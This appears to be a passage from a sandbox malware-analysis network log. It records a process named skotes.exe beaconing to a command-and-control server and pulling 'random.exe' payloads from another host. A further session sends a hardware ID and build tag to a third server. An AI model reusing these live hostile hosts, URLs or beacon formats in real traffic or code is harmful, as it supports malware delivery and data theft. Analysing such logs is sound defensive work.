29	192.168.2.5	49794	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:07.349756956 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:08.079695940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49796	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:09.604652882 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:10.298711061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49797	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:12.051760912 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:12.760157108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49799	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:14.272387981 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:14.968784094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49800	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:16.599322081 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:17.368067026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 3, 2024 03:28:17.642477989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49801	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:18.880553961 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:19.587811947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49802	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:21.223658085 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:21.954531908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49803	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:23.473449945 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:24.233117104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49804	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:25.863323927 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49805	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:27.398406029 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:28.111469030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49806	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:29.723259926 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:30.578479052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49807	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:32.098001957 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:32.811157942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49808	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:34.444161892 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:35.153558969 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49809	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:36.885943890 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:37.580346107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49810	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:39.209290028 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:39.914781094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49811	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:41.569520950 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49812	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:43.364204884 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:28:44.053200960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49813	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:45.567183018 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:28:46.307037115 CEST	476	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 64 0d 0a 20 3c 63 3e 31 30 30 30 33 33 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 35 62 31 63 37 37 33 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 33 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 33 33 34 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 38 32 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 11d <c>1000332001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e5b1c773dd534db057eb410a494d9d#1000333001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#1000334031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8f8e6b1ca72dd534db057eb410a494d9d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49814	185.215.113.103	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:46.317187071 CEST	144	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.103 If-Modified-Since: Thu, 03 Oct 2024 00:47:23 GMT If-None-Match: "e0600-62387e5d41dcd"
Oct 3, 2024 03:28:47.052313089 CEST	195	IN	HTTP/1.1 304 Not Modified Date: Thu, 03 Oct 2024 01:28:46 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 03 Oct 2024 00:47:23 GMT ETag: "e0600-62387e5d41dcd" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49815	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:49.224150896 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000332001&unit=246122658369
Oct 3, 2024 03:28:49.936233044 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:28:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49816	185.215.113.103	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:49.946557999 CEST	146	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103 If-Modified-Since: Thu, 03 Oct 2024 00:54:55 GMT If-None-Match: "1bca00-6238800be9105"
Oct 3, 2024 03:28:50.652237892 CEST	196	IN	HTTP/1.1 304 Not Modified Date: Thu, 03 Oct 2024 01:28:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 03 Oct 2024 00:54:55 GMT ETag: "1bca00-6238800be9105" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49817	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:51.428580046 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 03:28:52.149338007 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:28:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 03:28:52.151485920 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="hwid"4991C382B7451388941053------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="build"doma------BKEHDGDGHCBGCAKFIIIE--
Oct 3, 2024 03:28:52.379981995 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 01:28:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49818	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:28:52.881236076 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000333001&unit=246122658369
